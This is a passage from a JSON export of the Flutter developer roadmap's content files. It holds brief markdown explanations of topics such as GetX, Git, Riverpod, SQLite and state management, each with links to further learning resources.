    "content": "# GetX\n\nGetX is a lightweight and powerful solution for state management and navigation in Flutter. It provides a clean and simple API for managing app state and navigating between screens. GetX makes it easy to create scalable and maintainable apps, as it offers a central place to manage the app's state, reducing the amount of boilerplate code needed. It also provides out-of-the-box support for routing, making it easy to navigate between screens, and it supports hot reloading, which allows developers to see changes in real-time.\n\nVisit the following resources to learn more:\n\n- [@official@GetX in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#getx)\n- [@video@Complete GetX State Management | Flutter](https://www.youtube.com/watch?v=CNpXbeI_slw)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/git@yQyIPT09n62f1v8JbkoYJ.md",
    "content": "# Git\n\nGit is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/github-actions@8rCjcuZNL9kicMBXiL46l.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a workflow automation tool provided by GitHub that can be used to automate various tasks in a Flutter mobile app development process. With GitHub Actions, developers can create custom workflows to automate tasks such as building the app, running tests, and deploying the app to various app stores. These workflows are defined as a series of actions in a YAML file, which can be committed to the repository.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions](https://github.com/features/actions)\n- [@opensource@Flutter - GitHub Actions](https://github.com/nabilnalakath/flutter-githubaction)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/github@V0R4VyQ64Bwwj6O8XbZyF.md",
    "content": "# GitHub\n\nGitHub is a web-based platform that provides hosting for software development and version control using Git. It is widely used by developers and organizations around the world to manage and collaborate on software projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git and GitHub for Beginners - Crash Course](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/google-analytics@3IQRLoW9OEf0121-w4o5m.md",
    "content": "# Google Analytics\n\nGoogle Analytics is a free web analytics service provided by Google that helps to understand user behavior and measure app performance for mobile apps, including those built with Flutter.\n\nWith Google Analytics, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Google Analytics provides a range of tools and features for analyzing this data, including real-time dashboards, user segmentation, and funnels.\n\nVisit the following resources to learn more:\n\n- [@official@Google Analytics for Firebase](https://firebase.flutter.dev/docs/analytics/overview/)\n- [@feed@Explore top posts about Google](https://app.daily.dev/tags/google?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/graphql@Ym-8x_FNrs1C-Ki3aykIW.md",
    "content": "# GraphQL\n\nGraphQL is a query language for your API that allows clients to request exactly the data they need, and nothing more. It was developed by Facebook and released as open source in 2015.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@GraphQL](https://graphql.org)\n- [@official@Learn GraphQL](https://graphql.org/learn)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/guidelines--protocols@BjE4Qvjpi0i_s4Oib9765.md",
    "content": "# Guidelines and Protocols\n\nGuidelines and protocols are important considerations for Flutter developers as they help to ensure that apps are built in a consistent, reliable, and user-friendly manner. Some of the key guidelines and protocols to consider when developing a Flutter app include:\n\n*   Flutter Widget\n*   Dart Style\n*   Material Design\n*   Apple Human Interface\n*   Google Play Developer Policy Center\n*   App Store Review\n\nBy following these guidelines and protocols, Flutter developers can ensure that their apps are well-designed, user-friendly, and secure, making it easier to attract and retain users.\n\nVisit the following resources to learn more:\n\n- [@article@Flutter - Protocols](https://api.flutter.dev/objcdoc/Protocols.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/hero@5WPok-30ubqU8uox7XiSf.md",
    "content": "# Hero\n\nHero is a widget in Flutter that allows you to create smooth animations between screens or within a single screen, for widgets that are used in multiple places. It animates the transition of a widget from one screen to another or from one position to another within a screen. The widget that is being animated should have a unique tag property so that Flutter can match the source and destination widgets. Hero widgets are used for visual continuity between screens, so when the user navigates from one screen to another, the hero widget smoothly transitions to its new position instead of abruptly appearing or disappearing. This can make the navigation between screens feel more seamless and enjoyable for the user.\n\nVisit the following resources to learn more:\n\n- [@official@Hero Animations](https://docs.flutter.dev/development/ui/animations/hero-animations)\n- [@article@HeroAnimation class](https://docs.flutter.dev/development/ui/animations/hero-animations#heroanimation-class)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/images@7v3VFKGaRFjm87319gBpw.md",
    "content": "# Images\n\nIn Flutter, you can display images using the `Image` widget. There are several ways to add an image to your app:\n\n*   Asset: Add the image to your app's assets and specify the asset path in the `Image` widget.\n*   Network: Display an image from a URL by specifying the URL in the `Image` widget.\n*   File: Display an image from a file by specifying the file path in the `Image` widget.\n\nThe `Image` widget also accepts additional parameters such as `fit`, `width`, and `height` to control the size and scaling of the image.\n\nVisit the following resources to learn more:\n\n- [@official@Adding Assets and Images](https://docs.flutter.dev/development/ui/assets-and-images)\n- [@article@Images in Flutter](https://docs.flutter.dev/cookbook/images)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/immutability@lHzW9dyF1u3qmjfdb3vHe.md",
    "content": "# Immutability\n\nImmutability in Flutter refers to objects that cannot be changed once they are created. In Flutter, immutability is used to ensure that objects in the widget tree are not modified unexpectedly, which can lead to unexpected behavior and bugs in the app.\n\nVisit the following resources to learn more:\n\n- [@article@Immutable Data in Flutter](https://dart.academy/immutable-data-patterns-in-dart-and-flutter/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/inherited-widgets@DKt8U-iZcrXU5gWGRONqZ.md",
    "content": "# Inherited Widgets\n\nInherited widgets in Flutter are a powerful mechanism for efficiently propagating data down the widget tree. They essentially create a shared data scope that descendant widgets can access without needing to explicitly pass the data through constructors. When a widget needs to access data from an ancestor, it can simply look up the nearest inherited widget of the desired type.\n\nVisit the following resources to learn more:\n\n- [@official@Inherited Widgets](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/integration-testing@2RqGKWi13TLleTT7KpdZV.md",
    "content": "# Integration Testing\n\nIntegration tests in Flutter are tests that verify the behavior of your app as a whole, rather than individual widgets or functions. Integration tests allow you to test the interactions between different parts of your app and verify that the overall behavior of the app is correct.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Integration Testing](https://docs.flutter.dev/cookbook/testing/integration/introduction)\n- [@official@Integration Tests](https://docs.flutter.dev/testing#integration-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/intellij-idea@lkABkFigkVzl1x4_8xEZz.md",
    "content": "# IntelliJ IDEA\n\nIntelliJ IDEA is a powerful Integrated Development Environment (IDE) created by JetBrains. Essentially, it's a software application that provides comprehensive facilities to computer programmers for software development.\n\nVisit the following resources to learn more:\n\n- [@official@IntelliJ IDEA](https://www.jetbrains.com/idea/)\n- [@article@IntelliJ IDEA for Flutter](https://docs.flutter.dev/development/tools/android-studio)\n- [@article@Get started with IntelliJ](https://dart.dev/tools/jetbrains-plugin)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/isolates@t_75W0nyd0UBytwvJAQ1x.md",
    "content": "# Isolates\n\nFlutter Isolates are parallel execution contexts that enhance performance and concurrency by running intensive tasks in the background, preventing UI freezes. They provide isolated memory spaces for reliable code, enable concurrent execution, and facilitate inter-isolate communication for data sharing and coordination, though developers must consider context-switching and communication overhead.\n\nVisit the following resources to learn more:\n\n- [@official@How Isolates Work](https://dart.dev/guides/language/concurrency#how-isolates-work)\n- [@article@Dart - Isolates and event loops](https://medium.com/dartlang/dart-asynchronous-programming-isolates-and-event-loops-bffc3e296a6a)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/json-serialize--deserialize@TMHrKxnciIpd8F1WLjray.md",
    "content": "# JSON\n\nJSON (JavaScript Object Notation) is a lightweight data interchange format that is easy for humans to read and write and easy for machines to parse and generate. In Flutter, JSON is used for transmitting data between the client and server, typically over an HTTP connection.\n\nFlutter provides a number of libraries for working with JSON data, including the `dart:convert` library, which provides support for encoding and decoding JSON data.\n\nTo encode a Dart object to a JSON string, you can use the `jsonEncode` function from the `dart:convert` library. To decode a JSON string to a Dart object, you can use the jsonDecode function.\n\nVisit the following resources to learn more:\n\n- [@official@JSON and serialization](https://docs.flutter.dev/development/data-and-backend/json)\n- [@official@Using JSON](https://dart.dev/guides/json)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/lambdas@tMeuk-nsFMx3kVS7Yn4T0.md",
    "content": "# Lambdas\n\nLambdas, also known as anonymous functions, are a fundamental concept in Dart and Flutter. They are a way to create short, inline functions that can be passed as arguments to other functions or assigned to variables.\n\nLambdas are defined using the `=>` operator and can take zero or more arguments. They can also contain expressions, statements, and return values.\n\nVisit the following resources to learn more:\n\n- [@article@Lambda Functions in Dart](https://medium.com/jay-tillu/lambda-functions-in-dart-7db8b759f07a)\n- [@video@Anonymous Function in Dart | Lambda Function](https://www.youtube.com/watch?v=XTKKQdTAR0U)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/lists@C4wC3_wqNGl8umJ050-hJ.md",
    "content": "# Lists\n\nDart Flutter offers various widgets for displaying lists, including `ListView`, `ListTile`, `SingleChildScrollView` with `Column`, `GridView`, and `CustomScrollView` with `Slivers`, enabling scrolling lists, grids, and customized item appearances through widgets, layouts, and styling.\n\nVisit the following resources to learn more:\n\n- [@official@List Class](https://api.flutter.dev/flutter/dart-core/List-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/material-widgets@DrQqq-C8XdiXVXBMLS4Wy.md",
    "content": "# Material Widgets\n\nMaterial Widgets are a set of Flutter widgets that implement Material Design, Google's visual language for design. They are designed to provide a consistent look and feel on both Android and iOS devices.\n\nThese widgets are commonly used in Flutter apps to provide a familiar look and feel that follows Material Design guidelines.\n\nVisit the following resources to learn more:\n\n- [@official@Material Components Widgets](https://docs.flutter.dev/development/ui/widgets/material)\n- [@official@Widget catalog in Flutter](https://docs.flutter.dev/development/ui/widgets)\n- [@article@Material Designs Guidelines](https://m2.material.io/design/guidelines-overview)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/memory-allocation@ZsruX7gozx2-0cQNIkZ6o.md",
    "content": "# Memory Allocation\n\nMemory allocation is the process of reserving a portion of the device's memory for the use of your app. The memory allocation in Flutter is managed by the Dart virtual machine, which uses a garbage collector to automatically manage the memory used by the app.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Memory view](https://docs.flutter.dev/development/tools/devtools/memory)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/mix-panel@RQMRtlRxvp0CZJzCjRtPu.md",
    "content": "# Mixpanel\n\nMixpanel is a product analytics platform that provides insights into user behavior for mobile apps, including those built with Flutter.\n\nWith Mixpanel, Flutter developers can track user interactions with their app, including page views, events, and user properties, and use this data to gain insights into user behavior. Mixpanel provides a range of tools and features for analyzing this data, including real-time dashboards, segmentation, and A/B testing.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Flutter Mixpanel](https://levelup.gitconnected.com/flutter-web-mixpanel-6046ffb664fb)\n- [@article@Flutter Mixpanel Analytics Integration](https://medium.com/flutter-clan/flutter-mixpanel-analytics-integration-b5840b155f7b)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/oop@1-dfwbhXgeRT3VVq3RSRv.md",
    "content": "# OOP\n\nObject-oriented programming (OOP) is a programming paradigm that is based on the concept of \"objects,\" which are instances of a class. In OOP, a class is a blueprint for creating objects, which have both data (attributes) and behavior (methods). The main idea behind OOP is to model real-world objects and their interactions, making it well-suited for creating complex and large-scale software systems.\n\nVisit the following resources to learn more:\n\n- [@article@Discover Object Oriented Programming](https://blog.hubspot.com/website/object-oriented-programming)\n- [@video@Software Development Tutorial - What is object-oriented languages?](https://www.youtube.com/watch?app=desktop&v=SS-9y0H3Si8)\n- [@video@Fundamental Concepts of Object Oriented Programming](https://www.youtube.com/watch?v=m_MQYyJpIjg&ab_channel=ComputerScience)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/opacity@aet6mLBkB1BtxI8e7x-h3.md",
    "content": "# Opacity\n\nOpacity is a Flutter widget that allows you to control the transparency of its child widget. It takes a single opacity argument, which is a value between 0.0 and 1.0, where 0.0 represents complete transparency and 1.0 represents complete opacity. The child widget is drawn with the specified opacity, making it appear translucent or transparent, depending on the value of the opacity argument. This can be useful for creating visual effects such as fading in or out, or to create partially transparent backgrounds or overlays. By using Opacity in combination with other widgets and animations, you can create sophisticated visual effects in your Flutter app.\n\nVisit the following resources to learn more:\n\n- [@official@Fade a Widget in and out](https://docs.flutter.dev/cookbook/animation/opacity-animation)\n- [@article@AnimatedOpacity widget](https://docs.flutter.dev/codelabs/implicit-animations#animate-opacity-with-animatedopacity-widgets)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/operators@Q2S4__BB30KljB7SlquJx.md",
    "content": "# Operators\n\nFlutter, and Dart, utilize various operators to manipulate data: arithmetic operators for math, relational operators for comparisons, logical operators for boolean logic, assignment operators for value assignment, and the ternary operator for concise conditional expressions, enabling diverse operations on values and variables.\n\nVisit the following resources to learn more:\n\n- [@official@Operators](https://dart.dev/language/operators)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/other-file-types@WnG31VsKQRlxGX85qNIum.md",
    "content": "# Other File Types\n\nIn Flutter, you can work with different file types besides images. Some common file types that you can use in Flutter include:\n\n1.  Text files: You can read or write text files using the dart:io library.\n2.  JSON files: You can parse JSON data using the dart:convert library.\n3.  Audio and Video files: You can play audio and video files using the video\\_player and audioplayers packages.\n4.  PDF files: You can display PDF files using the pdf package.\n\nVisit the following resources to learn more:\n\n- [@official@File Class](https://api.flutter.dev/flutter/dart-io/File-class.html)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/package-managers@med4T8PVkxIo465VuKDEj.md",
    "content": "# Package Manager\n\nThe package manager for Flutter is called pub. It is used to manage Flutter projects' dependencies and publish Flutter packages. It is included with the Flutter SDK and can be run from the command line using the `pub` command.\n\nVisit the following resources to learn more:\n\n- [@official@Packages and Plugins](https://docs.flutter.dev/development/packages-and-plugins)\n- [@video@Dart Package Manager (pub.dev) in Flutter](https://www.youtube.com/watch?v=F1VRO0_MKLs)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/playstore@wF8Iy7V-f52qQxOsAJobz.md",
    "content": "# Playstore\n\nThe Google Play Store is an online store for Android apps, games, and other digital content. It is operated by Google and is the official app store for Android devices.\n\nVisit the following resources to learn more:\n\n- [@official@Build and Release an Android App](https://docs.flutter.dev/deployment/android)\n- [@article@Publish your App - Android Developer](https://developer.android.com/studio/publish)\n- [@article@Publishing Flutter App To PlayStore](https://medium.flutterdevs.com/publishing-flutter-app-to-playstore-fa7543b61a7b)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/provider@MfqUMirRIEiM7pr5NiGF_.md",
    "content": "# Provider\n\nProvider is a wrapper around InheritedWidget (base class for widgets that efficiently propagate information down the tree) to make them easier to use and more reusable.\n\nVisit the following resources to learn more:\n\n- [@official@Provider](https://pub.dev/packages/provider)\n- [@official@Simple App State Management](https://docs.flutter.dev/development/data-and-backend/state-mgmt/simple)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/pubdev@lXruqvSShlQrdVEo_xPm1.md",
    "content": "# pub.dev\n\n`pub.dev` is the official package repository for Dart and Flutter packages. It is a platform for hosting, managing, and distributing Dart packages and Flutter plugins. Developers can use `pub.dev` to search for packages, find information about packages, and install packages in their Flutter projects.\n\nVisit the following resources to learn more:\n\n- [@official@pub.dev](https://pub.dev/)\n- [@official@Using packages](https://docs.flutter.dev/development/packages-and-plugins/using-packages)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/push-notifications@YzJrDGmfS0vbWjnPnSFVo.md",
    "content": "# Push Notifications\n\nImplementing Firebase push notifications in Flutter involves setting up a Firebase project, integrating the FCM plugin, handling and displaying incoming notifications within the app, testing through the Firebase Console or tools like Postman, and customizing notification appearance with icons, sounds, and vibration patterns.\n\nVisit the following resources to learn more:\n\n- [@official@How do I Set up Push Notifications?](https://docs.flutter.dev/get-started/flutter-for/android-devs#how-do-i-set-up-push-notifications)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/reactive-programming@wbush8eQsi9aDSRobGAyG.md",
    "content": "# Reactive Programming\n\nReactive programming is a programming paradigm that allows for handling changing data streams and updating the UI based on those changes.\n\nReactive programming in Flutter helps create dynamic and responsive apps that can handle changing data and update the UI accordingly. The `StreamBuilder` and `FutureBuilder` widgets are commonly used in Flutter to build reactive UIs.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started with Reactive Programming](https://www.didierboelens.com/2018/12/reactive-programming-streams-bloc-practical-use-cases/)\n- [@video@Reactive Programming in Flutter](https://www.youtube.com/watch?v=x4FKXw4Uvls)\n- [@feed@Explore top posts about Reactive Programming](https://app.daily.dev/tags/reactive-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/redux@DoqnE2Iy3lKzEm88qjKI-.md",
    "content": "# ReduX\n\nRedux is a state management library for Flutter, commonly used with the Flutter framework to manage the application's state. It helps to maintain a single source of truth for the state of the application, making it easier to understand, test and maintain the code. In Redux, the state is stored in a store and can only be updated through dispatching actions. The actions trigger the update of the state via reducers, which are pure functions that determine the next state based on the current state and the dispatched action.\n\nVisit the following resources to learn more:\n\n- [@official@flutter_redux](https://pub.dev/packages/flutter_redux)\n- [@official@Redux - Tutorial](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#redux)\n- [@article@Building a Flutter app with Redux](https://hillel.dev/2018/06/01/building-a-large-flutter-app-with-redux/)\n- [@feed@Explore top posts about Redux](https://app.daily.dev/tags/redux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/remote-cnofig@4ZbGj54WR5iuk0V8X_cpL.md",
    "content": "# Remote Config\n\nFirebase Remote Config, accessed in Flutter via the `firebase_remote_config` plugin, enables dynamic app behavior and appearance changes without app updates. This involves adding the plugin, initializing the service, defining default parameter values in the console or code, fetching and retrieving remote parameters, and updating those parameters either through the console or by activating fetched values, allowing for A/B testing and feature control.\n\nLearn more from the following:\n\n- [@official@Remote Config](https://firebase.google.com/docs/remote-config)\n- [@video@Firebase Remote Config](https://www.youtube.com/watch?v=34ExOdNEMXI)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content/remote-config@4ZbGj54WR5iuk0V8X_cpL.md",
    "content": "# Remote Config\n\nFirebase Remote Config, accessed in Flutter via the `firebase_remote_config` plugin, enables dynamic app behavior and appearance changes without app updates. This involves adding the plugin, initializing the service, defining default parameter values in the console or code, fetching and retrieving remote parameters, and updating those parameters either through the console or by activating fetched values, allowing for A/B testing and feature control.\n\nVisit the following resources to learn more:\n\n- [@official@Remote Config](https://firebase.google.com/docs/remote-config)\n- [@video@Firebase Remote Config](https://www.youtube.com/watch?v=34ExOdNEMXI)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/render-objects@9ytV8xPq60z7doFG07PHi.md",
    "content": "# Render Objects\n\nRenderObject's can be defined as \"Objects\" that render and manipulate layouts, sizes and draw the UI, providing the actual application rendering. They clean up some resources when dispose method is called, therefore it must be disposed by creator when is no longer used.\n\nVisit the following resources to learn more:\n\n- [@official@RenderObject Documentation](https://api.flutter.dev/flutter/rendering/RenderObject-class.html)\n- [@article@Get started with RenderObjects - Flutter](https://jasper-dev.hashnode.dev/getting-started-with-renderobjects-in-flutter)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/repo-hosting-services@qGN95GG0Q3dur72GS3EDX.md",
    "content": "# Repo Hosting Services\n\nSeveral popular repository hosting services, including GitHub, GitLab, Bitbucket, AWS CodeCommit, and Azure DevOps, support Flutter development by offering Git repository management, issue tracking, and collaboration tools. When selecting a service, developers should consider factors like project needs, scalability, cost, ease of use, integrations, and third-party tool support to ensure the chosen platform aligns with their specific requirements.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub](https://github.com/)\n- [@official@GitLab](https://gitlab.com/)\n- [@official@Azure](https://azure.microsoft.com/)\n- [@article@How to Deploy a Flutter Web App?](https://medium.com/solute-labs/flutter-for-web-how-to-deploy-a-flutter-web-app-c7d9db7ced2e)\n- [@article@Deploying - Flutter](https://docs.flutter.dev/deployment/web#deploying-to-the-web)\n- [@video@Host Flutter Website On GitHub Pages](https://www.youtube.com/watch?v=z-yOqoQ2q6s)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/responsive-widgets@lCpJQ8GZp5KhpGO4Sttgu.md",
    "content": "# Responsive Widgets\n\nResponsive widgets in Dart, primarily within Flutter, are crucial for building applications that adapt to diverse screen sizes and orientations. Developers achieve this adaptability using tools like `LayoutBuilder` to respond to available space, `MediaQuery` to gather device information, and `Expanded` and `Flexible` for dynamic space distribution. `AspectRatio` maintains proportions, `OrientationBuilder` adjusts for landscape or portrait modes, and `Wrap` handles overflow by moving widgets to new lines. Adaptive widgets and custom layouts further enhance platform-specific responsiveness. By employing these techniques and considering breakpoints and thorough testing, developers can create Flutter apps that provide a consistent and optimal user experience across various devices.\n\nVisit the following resources to learn more:\n\n- [@official@Responsive Widget](https://docs.flutter.dev/ui/layout/adaptive-responsive)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/restful-apis@soi3pRxOp6A4ZmGZPQCn3.md",
    "content": "# REST\n\nREST, or REpresentational State Transfer, is an architectural style for providing standards between computer systems on the web, making it easier for systems to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/riverpod@KWT-Lu-HCeA3GdZawD0a7.md",
    "content": "# Riverpod\n\nRiverpod was created by the same author as Provider, and is designed to make it easier to manage application state by providing a more intuitive API and better performance than Provider.\n\nOne of the key features of Riverpod is its ability to manage and scope state in a more granular way than Provider. This can make it easier to reason about your application's state and can lead to more efficient re-renders.\n\nVisit the following resources to learn more:\n\n- [@official@riverpod](https://pub.dev/packages/riverpod)\n- [@official@Riverpod in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#riverpod)\n- [@official@riverpod Documentation](https://riverpod.dev/)\n- [@article@Documentation v2 is in progress](https://docs-v2.riverpod.dev/)\n- [@article@Flutter Riverpod 2.0: The Ultimate Guide](https://codewithandrea.com/articles/flutter-state-management-riverpod/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/rxdart@ozQQKmfO_Ir9aJIMBvijK.md",
    "content": "# RxDart\n\nRxDart is a library for Dart that provides additional functionality for working with reactive programming, specifically with the Streams and Observables classes. It extends the standard Dart Streams API and provides additional features such as the ability to transform and combine streams, and to compose and chain streams together. In Flutter, RxDart is commonly used to handle asynchronous data streams and user interactions in a more efficient and elegant way.\n\nVisit the following resources to learn more:\n\n- [@official@RxDart Documentation](https://pub.dev/documentation/rxdart/latest)\n- [@article@Overview of RxDart in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#bloc--rx)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/segment@PQ7o9Jw9SBEhHl8cc_46x.md",
    "content": "# Segment\n\nSegment is an analytics platform that provides a single API for collecting, storing, and routing customer data from various sources, including mobile apps built with Flutter.\n\nWith Segment, Flutter developers can easily add analytics tracking to their app, without having to integrate with multiple analytics tools individually. Segment acts as a single point of integration, allowing developers to send data to multiple analytics tools with a single API.\n\nVisit the following resources to learn more:\n\n- [@official@flutter_segment](https://pub.dev/packages/flutter_segment)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/shared-preferences@Fdv7Nu26Egtl9tklKn5-8.md",
    "content": "# Shared Preferences\n\nIn Flutter, SharedPreferences is a plugin allowing you to store data in key-value pairs persistently. It is similar to a local database or cache, but it is specifically designed to store small pieces of data, such as user preferences or settings. The SharedPreferences plugin is often used to store simple pieces of data that need to be accessed by multiple screens or widgets in an app. For example, you might use SharedPreferences to store the user's login status or the app's theme color.\n\nVisit the following resources to learn more:\n\n- [@official@How do I Access Shared Preferences?](https://docs.flutter.dev/get-started/flutter-for/android-devs#how-do-i-access-shared-preferences)\n- [@official@shared_preferences - pub.dev package](https://pub.dev/packages/shared_preferences)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/solid-principles@VKqo4dAcy-JiZo7Lw5jeg.md",
    "content": "# SOLID Principles\n\nSOLID is a mnemonic acronym for five design principles intended to make object-oriented designs more understandable, flexible, and maintainable.\n\nVisit the following resources to learn more:\n\n- [@article@SOLID: The First 5 Principles of Object Oriented Design](https://www.digitalocean.com/community/conceptual-articles/s-o-l-i-d-the-first-five-principles-of-object-oriented-design)\n- [@article@Overview of S.O.L.I.D Principles In Dart](https://medium.flutterdevs.com/s-o-l-i-d-principles-in-dart-e6c0c8d1f8f1)\n- [@article@The S.O.L.I.D Principles in Pictures](https://medium.com/backticks-tildes/the-s-o-l-i-d-principles-in-pictures-b34ce2f1e898)\n- [@video@S.O.L.I.D Principles](https://www.youtube.com/watch?v=fvNTJang7l4)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/sqlite@NPaqiuUpzQbrsXA5XNI7U.md",
    "content": "# SQLite\n\nSQLite is an open-source, lightweight relational database management system (RDBMS) used to store and manage data. It is written in C and self-contained, meaning it does not require a separate server process or system. SQLite is commonly used in mobile applications, embedded systems, and web browsers and is also supported by many programming languages. It is a popular choice for databases because it is easy to use and does not require a lot of setup or configuration.\n\nVisit the following resources to learn more:\n\n- [@article@sqflite - pub.dev package](https://pub.dev/packages/sqflite)\n- [@article@drift - pub.dev package](https://pub.dev/packages/drift)\n- [@feed@Explore top posts about SQLite](https://app.daily.dev/tags/sqlite?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/state-management@bYJ0G-g4R5faoJfFjRQW7.md",
    "content": "# State Management\n\nState management in Flutter refers to the process of managing and updating the data or state of a Flutter application. In Flutter, the state of the widgets can change dynamically, for example, when a user interacts with the application.\n\nVisit the following resources to learn more:\n\n- [@official@State Management in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/stateful-widgets@07tpSQeeMLKggWwdUXAej.md",
    "content": "# Stateful widgets\n\nA stateful widget is dynamic: for example, it can change its appearance in response to events triggered by user interactions or when it receives data. Checkbox, Radio, Slider, InkWell, Form, and TextField are examples of stateful widgets.\n\nVisit the following resources to learn more:\n\n- [@official@StatefulWidget](https://api.flutter.dev/flutter/widgets/StatefulWidget-class.html)\n- [@video@Flutter Tutorial - Stateful Widgets](https://www.youtube.com/watch?v=p5dkB3Mrxdo)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/stateless-widgets@e-m4iKuK6NqFaQLE5viNI.md",
    "content": "# Stateless Widgets\n\nStateless widgets in Flutter are widgets that don't maintain any mutable state. They are designed to be immutable and rebuild each time the framework needs to update the UI. They are suitable for static, unchanging views or simple animations. They can be created using the `StatelessWidget` class and have a single build method that returns a widget tree.\n\nVisit the following resources to learn more:\n\n- [@official@StatelessWidget Class](https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html)\n- [@article@How to Create Stateless Widgets](https://medium.com/flutter/how-to-create-stateless-widgets-6f33931d859)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/storage@P_wptV7oenaYwef1QhKhu.md",
    "content": "# Storage\n\nFlutter provides several options for persistent storage, some of which are as follow:\n\n*   SharedPreferences: A key-value store for small data.\n*   SQLite database: A relational database for structured data.\n*   File System: For storing large files and data.\n*   Firebase: A real-time database and backend as a service.\n\nAll of these storage options are supported through third-party packages, which are easily integrated into a Flutter app.\n\nVisit the following resources to learn more:\n\n- [@official@Cloud Storage in Flutter](https://firebase.flutter.dev/docs/storage/overview/)\n- [@video@Storage - Flutter Tutorial](https://www.youtube.com/watch?v=UpKrhZ0Hppks)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/flutter/content/storage@x4B0gmCo5sXFHYs3CYsOn.md",
